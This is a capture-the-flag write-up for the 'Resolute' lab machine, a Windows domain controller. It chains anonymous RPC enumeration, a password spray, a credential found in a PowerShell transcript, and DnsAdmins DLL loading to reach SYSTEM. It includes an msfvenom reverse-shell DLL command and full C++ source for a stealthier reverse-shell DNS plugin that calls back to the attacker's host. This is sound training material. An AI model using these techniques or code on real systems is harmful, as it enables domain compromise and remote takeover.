Just another Null RPC / Password Spray / PowerShell Transcript Leak / DnsAdmins Privesc / CreateThread Stealthiness Write-up.
Footprinting
Open ports
The open ports shows our target is a Windows machine:
jamarir@kali:~$ nmap -p- -v10 -Pn --disable-arp-ping 10.10.10.169 -oN tcp_full.nmap
jamarir@kali:~$ nmap -sC -sV -v10 -p$(sed -n 's/^\(.*\)\/\w\+\s\+open.*$/\1/p' tcp_full.nmap |tr '\n' ',' |rev |cut -c2- |rev) 10.10.10.169 -oN nse.nmap
[...]
PORT STATE SERVICE REASON VERSION
53/tcp open domain syn-ack Simple DNS Plus
88/tcp open kerberos-sec syn-ack Microsoft Windows Kerberos (server time: <DATE>)
135/tcp open msrpc syn-ack Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack Microsoft Windows netbios-ssn
389/tcp open ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name)
445/tcp open microsoft-ds syn-ack Windows Server 2016 Standard 14393 microsoft-ds (workgroup: MEGABANK)
464/tcp open kpasswd5? syn-ack
593/tcp open ncacn_http syn-ack Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped syn-ack
3268/tcp open ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped syn-ack
5985/tcp open http syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf syn-ack .NET Message Framing
47001/tcp open http syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc syn-ack Microsoft Windows RPC
49665/tcp open msrpc syn-ack Microsoft Windows RPC
49666/tcp open msrpc syn-ack Microsoft Windows RPC
49667/tcp open msrpc syn-ack Microsoft Windows RPC
49671/tcp open msrpc syn-ack Microsoft Windows RPC
49678/tcp open ncacn_http syn-ack Microsoft Windows RPC over HTTP 1.0
49679/tcp open msrpc syn-ack Microsoft Windows RPC
49684/tcp open msrpc syn-ack Microsoft Windows RPC
49716/tcp open msrpc syn-ack Microsoft Windows RPC
50321/tcp open unknown syn-ack
Service Info: Host: RESOLUTE; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: required
| smb2-time:
| date: <DATE>
|_ start_date: <DATE>
| p2p-conficker:
| Checking for Conficker.C or higher...
| Check 1 (port 18050/tcp): CLEAN (Couldn't connect)
| Check 2 (port 52471/tcp): CLEAN (Couldn't connect)
| Check 3 (port 55070/udp): CLEAN (Timeout)
| Check 4 (port 21057/udp): CLEAN (Failed to receive data)
|_ 0/4 checks are positive: Host is CLEAN or ports are blocked
| smb2-security-mode:
| 311:
|_ Message signing enabled and required
| smb-os-discovery:
| OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
| Computer name: Resolute
| NetBIOS computer name: RESOLUTE\x00
| Domain name: megabank.local
| Forest name: megabank.local
| FQDN: Resolute.megabank.local
|_ System time: <DATE>
|_clock-skew: mean: 2h26m57s, deviation: 4h02m30s, median: 6m56s
In particular:
- It runs a DNS service on port 53, so let’s add it to our local resolvers:
jamarir@kali:~$ sudo sed -i '1i nameserver 10.10.10.169' /etc/resolv.conf
It’s a Domain Controller running Kerberos on port 88, LDAP/S on port 389/636 and WinRM on port 5985.
Its FQDN is
RESOLUTE.megabank.local
:
jamarir@kali:~$ cme smb 10.10.10.169
SMB 10.10.10.169 445 RESOLUTE [*] Windows Server 2016 Standard 14393 x64 (name:RESOLUTE) (domain:megabank.local) (signing:True) (SMBv1:True)
RPC null session
The null/anonymous session is allowed on SMB, but we can’t access any share:
jamarir@kali:~$ cme smb 10.10.10.169 -u '' -p '' --shares
SMB 10.10.10.169 445 RESOLUTE [*] Windows Server 2016 Standard 14393 x64 (name:RESOLUTE) (domain:megabank.local) (signing:True) (SMBv1:True)
SMB 10.10.10.169 445 RESOLUTE [+] megabank.local\:
SMB 10.10.10.169 445 RESOLUTE [-] Error enumerating shares: STATUS_ACCESS_DENIED
Instead, we could anonymously enumerate users on the machine (brute-forcing RIDs) through RPC:
jamarir@kali:~$ rpcclient 10.10.10.169 -U "%" -c "enumdomusers;quit" |tee rpc_domusers.txt
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[DefaultAccount] rid:[0x1f7]
user:[ryan] rid:[0x451]
user:[marko] rid:[0x457]
user:[sunita] rid:[0x19c9]
user:[abigail] rid:[0x19ca]
user:[marcus] rid:[0x19cb]
user:[sally] rid:[0x19cc]
user:[fred] rid:[0x19cd]
user:[angela] rid:[0x19ce]
user:[felicia] rid:[0x19cf]
user:[gustavo] rid:[0x19d0]
user:[ulf] rid:[0x19d1]
user:[stevie] rid:[0x19d2]
user:[claire] rid:[0x19d3]
user:[paulo] rid:[0x19d4]
user:[steve] rid:[0x19d5]
user:[annette] rid:[0x19d6]
user:[annika] rid:[0x19d7]
user:[per] rid:[0x19d8]
user:[claude] rid:[0x19d9]
user:[melanie] rid:[0x2775]
user:[zach] rid:[0x2776]
user:[simon] rid:[0x2777]
user:[naoki] rid:[0x2778]
jamarir@kali:~$ grep -oP 'user:\[\K.*?(?=\])' rpc_domusers.txt > users.txt
And disclose the users’ descriptions with enum4linux
, disclosing marko
's password:
jamarir@kali:~$ enum4linux -a 10.10.10.169
[...]
index: 0x10a9 RID: 0x457 acb: 0x00000210 Account: marko Name: Marko Novak Desc: Account created. Password set to Welcome123!
[...]
Password spray
Even if the credentials marko:Welcome123!
aren’t valid:
jamarir@kali:~$ cme smb 10.10.10.169 -u marko -p 'Welcome123!' --shares
SMB 10.10.10.169 445 RESOLUTE [*] Windows Server 2016 Standard 14393 x64 (name:RESOLUTE) (domain:megabank.local) (signing:True) (SMBv1:True)
SMB 10.10.10.169 445 RESOLUTE [-] megabank.local\marko:Welcome123! STATUS_LOGON_FAILURE
We can perform a password spray attack against all the domain users and impersonate melanie:Welcome123!
:)
jamarir@kali:~$ cme smb 10.10.10.169 -u users.txt -p 'Welcome123!' --shares
SMB 10.10.10.169 445 RESOLUTE [+] megabank.local\melanie:Welcome123!
SMB 10.10.10.169 445 RESOLUTE [+] Enumerated shares
SMB 10.10.10.169 445 RESOLUTE Share Permissions Remark
SMB 10.10.10.169 445 RESOLUTE ----- ----------- ------
SMB 10.10.10.169 445 RESOLUTE ADMIN$ Remote Admin
SMB 10.10.10.169 445 RESOLUTE C$ Default share
SMB 10.10.10.169 445 RESOLUTE IPC$ Remote IPC
SMB 10.10.10.169 445 RESOLUTE NETLOGON READ Logon server share
SMB 10.10.10.169 445 RESOLUTE SYSVOL READ Logon server share
Privilege Escalation
melanie
WinRM
The members of the Remote Management Users group are allowed to get a remote shell on the DC with the WinRM service. melanie
is a member of that group:
jamarir@kali:~$ cme ldap 10.10.10.169 -u 'melanie' -p 'Welcome123!' -d 'megabank.local' --query "(&(memberOf=CN=Remote Management Users,CN=Builtin,DC=MEGABANK,DC=LOCAL))" "sAMAccountName"
SMB 10.10.10.169 445 RESOLUTE [*] Windows Server 2016 Standard 14393 x64 (name:RESOLUTE) (domain:megabank.local) (signing:True) (SMBv1:True)
LDAP 10.10.10.169 389 RESOLUTE [+] megabank.local\melanie:Welcome123!
LDAP 10.10.10.169 389 RESOLUTE [+] Response for object: CN=Contractors,OU=Groups,DC=megabank,DC=local
LDAP 10.10.10.169 389 RESOLUTE sAMAccountName: Contractors
LDAP 10.10.10.169 389 RESOLUTE [+] Response for object: CN=Melanie Purkis,CN=Users,DC=megabank,DC=local
LDAP 10.10.10.169 389 RESOLUTE sAMAccountName: melanie
Therefore, we can WinRM the target and get the user flag !
jamarir@kali:~$ evil-winrm -i 10.10.10.169 -u 'melanie' -p 'Welcome123!'
C:\Users\melanie\Documents> gc ../desktop/user.txt
a1[...]09
PowerShell Transcripts are hidden !
Let’s fire up bloodhound.py
to see attack vectors to DAs:
jamarir@kali:~$ bloodhound.py -u 'melanie' -p 'Welcome123!' -d 'megabank.local' -dc resolute.megabank.local -ns 10.10.10.169 -c all --zip
melanie
has no particular rights on the domain:
But looking at hidden files in the C:/
folder reveals a PSTranscripts
folder:
*Evil-WinRM* PS C:\Users\melanie\Documents> (get-content c:/ -force).Name
$RECYCLE.BIN
Documents and Settings
PerfLogs
Program Files
Program Files (x86)
ProgramData
PSTranscripts
Recovery
System Volume Information
Users
Windows
bootmgr
BOOTNXT
pagefile.sys
PSTranscripts
folder contains PowerShell sessions' histories. This file, named PowerShell_transcript.<computername>.<random>.<timestamp>.txt
, contains all the inputs and outputs of a user’s console log:
*Evil-WinRM* PS C:\PSTranscripts> gc c:/PSTranscripts/20191203/PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt
[...]
>> ParameterBinding(Out-String): name="InputObject"; value="The syntax of this command is:"
cmd : The syntax of this command is:
At line:1 char:1
+ cmd /c net use X: \\fs01\backups ryan Serv3r4Admin4cc123!
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : NotSpecified: (The syntax of this command is::String) [], RemoteException
+ FullyQualifiedErrorId : NativeCommandError
[...]
The user ryan
tried to mount the \\fs01\backups
share locally in the X:
drive.
However, ryan
forgot to put the /user
option:
PS > cmd /c net use X: \\fs01\backups ryan Serv3r4Admin4cc123!
The commands to mount anad unmount an
X:
drive are:
PS C:\Users\jamarir> net use x: \\<COMPUTER>\<SHARE> /user:<USER> '<PASSWORD>' PS C:\Users\jamarir> net use /delete x:
Then, we may compromise his account in WinRM as well. Indeed, he’s a member of the CONTRACTORS
group, itself member of the Remote Management Users group:
jamarir@kali:~$ evil-winrm -i 10.10.10.169 -u 'ryan' -p 'Serv3r4Admin4cc123!'
By the way, his desktop contains a note, but I don’t really what it’s for oO:
*Evil-WinRM* PS C:\Users\ryan> get-content desktop/note.txt
Email to team:
- due to change freeze, any system changes (apart from those to the administrator account) will be automatically reverted within 1 minute
DnsAdmins2SYSTEMdll ?
As shown in BloodHound, or by whoami /groups
, ryan
is member of the DnsAdmins
group:
*Evil-WinRM* PS C:\Users\ryan> whoami /groups
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
========================================== ================ ============================================== ===============================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
MEGABANK\Contractors Group S-1-5-21-1392959593-3013219662-3596683436-1103 Mandatory group, Enabled by default, Enabled group
MEGABANK\DnsAdmins Alias S-1-5-21-1392959593-3013219662-3596683436-1101 Mandatory group, Enabled by default, Enabled group, Local Group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level Label S-1-16-8192
Members of this groups can execute a Microsoft DNS service on a server running DNS. However, this DNS service is run as SYSTEM on the DNS server. Therefore, DnsAdmins
can poison the existing DNS service to load a malicious DLL. The fact that DC runs DNS allows us to escalate to SYSTEM privileges on the DC:
jamarir@kali:~$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.7 LPORT=4444 -f dll > shell.dll
jamarir@kali:~$ nc -nlvp 4444
Then, we can host the malicious DLL on a remote SMB share in our kali machine:
jamarir@kali:~$ smbserver.py -smb2support share ./
Finally, we can configure the DC to load our DLL once its DNS service starts:
*Evil-WinRM* PS C:\Users\ryan> dnscmd.exe resolute.megabank.local /config /serverlevelplugindll //10.10.14.7/share/shell.dll
Registry property serverlevelplugindll successfully reset.
Command completed successfully.
*Evil-WinRM* PS C:\Users\ryan> sc.exe stop dns
*Evil-WinRM* PS C:\Users\ryan> sc.exe start dns
The
dnscmd.exe
tool allows to setup DNS servers. The/config /serverlevelplugindll
options specify the path, registered in the registry, of a custom DLL plug-in to be loaded by the DNS server:
*Evil-WinRM* PS C:\Users\ryan\Documents> Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Services\DNS\Parameters\ -Name "ServerLevelPluginDll" ServerLevelPluginDll : //10.10.14.7/share/shell.dll PSPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\DNS\Parameters\ PSParentPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\DNS PSChildName : Parameters PSDrive : HKLM PSProvider : Microsoft.PowerShell.Core\Registry
Restarting the service will load our malicious binary automatically.
The mitigation requires to ensure that only admins are member of this
DnsAdmins
group. Also, RPC communications must be restricted to admin subnets only.
GG WP :]
listening on [any] 4444 ...
connect to [10.10.14.7] from (UNKNOWN) [10.10.10.169] 51582
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
nt authority\system
C:\Windows\system32>type C:\Users\Administrator\Desktop\root.txt
1a[...]5c
Stealthier CreateThread Alternative
For more details about the privesc feature (not a bug!), you may check the following articles: Shary Ber (discoverer), ired.team, Microsoft DNS documentation.
The above DLL injection is not OPSEC as it breaks the normal DNS’s resolution:
jamarir@kali:~$ nslookup RESOLUTE.megabank.local 10.10.10.169
;; communications error to 10.10.10.169#53: timed out
;; communications error to 10.10.10.169#53: timed out
;; communications error to 10.10.10.169#53: timed out
;; no servers could be reached
A stealthier approach is to use the dns-exe-persistance
Visual Studio project, and run the reverse shell in a background thread.
As mentionned in the above articles, the function running the malicious DLL is DnsPluginInitialize
, defined in the Win32Project1.cpp
script. So let’s call a C++ reverse shell within:
#include "stdafx.h"
#define DNS_PLUGIN_API __declspec ( dllexport )
#include <stdio.h>
#include <string.h>
#include <process.h>
#include <winsock2.h>
#include <ws2tcpip.h>
#pragma comment(lib, "Ws2_32.lib")
DWORD WINAPI revshell(LPVOID lpParam) {
FreeConsole();
WSADATA wsaData;
int iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
struct addrinfo* result = NULL, * ptr = NULL, hints;
memset(&hints, 0, sizeof(hints));
hints.ai_family = AF_UNSPEC;
hints.ai_socktype = SOCK_STREAM;
hints.ai_protocol = IPPROTO_TCP;
getaddrinfo("10.10.14.7", "4444", &hints, &result); // CHANGE THIS !
ptr = result;
SOCKET ConnectSocket = WSASocket(ptr->ai_family, ptr->ai_socktype, ptr->ai_protocol, NULL, NULL, NULL);
connect(ConnectSocket, ptr->ai_addr, (int)ptr->ai_addrlen);
STARTUPINFO si;
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE;
si.hStdInput = (HANDLE)ConnectSocket;
si.hStdOutput = (HANDLE)ConnectSocket;
si.hStdError = (HANDLE)ConnectSocket;
TCHAR cmd[] = TEXT("C:\\WINDOWS\\SYSTEM32\\CMD.EXE");
CreateProcess(NULL, cmd, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);
WaitForSingleObject(pi.hProcess, INFINITE);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
WSACleanup();
return 0;
}
#pragma comment(linker,"/EXPORT:DnsPluginInitialize=?DnsPluginInitialize@@YAHPEAX0@Z")
DNS_PLUGIN_API int DnsPluginInitialize(PVOID a1, PVOID a2) {
CreateThread(NULL, 0, revshell, 0, 0, NULL);
return 0;
}
#pragma comment(linker,"/EXPORT:DnsPluginCleanup=?DnsPluginCleanup@@YAHXZ")
DNS_PLUGIN_API int DnsPluginCleanup() { return 0; }
#pragma comment(linker,"/EXPORT:DnsPluginQuery=?DnsPluginQuery@@YAHPEAX000@Z")
DNS_PLUGIN_API int DnsPluginQuery(PVOID a1, PVOID a2, PVOID a3, PVOID a4) { return 0; }
And build the project in Visual Studio.
Make sure to install the MFC components in Visual Studio, as well as the C++ Build Tools.
Even if the project is named Win32, the default Visual Studio building properties shouldn’t be changed, and let to x64.
The above reverse shell is taken from this tudorthe1ntruder’s script.
The thread is created based on the
CreateThread
Win32 API documentation (thx IppSec).
Now, when that DLL is run by the DC, we get a reverse shell without breaking the DNS service while our reverse shell runs:
*Evil-WinRM* PS C:\Users\ryan\Documents> dnscmd.exe resolute.megabank.local /config /serverlevelplugindll //10.10.14.7/share/Win32Project1.dll
*Evil-WinRM* PS C:\Users\ryan\Documents> sc.exe stop dns
*Evil-WinRM* PS C:\Users\ryan\Documents> sc.exe start dns
jamarir@kali:~$ nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.10.14.7] from (UNKNOWN) [10.10.10.169] 50744
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
nt authority\system
jamarir@kali:~$ nslookup RESOLUTE.megabank.local 10.10.10.169
Server: 10.10.10.169
Address: 10.10.10.169#53
Name: RESOLUTE.megabank.local
Address: 10.10.10.169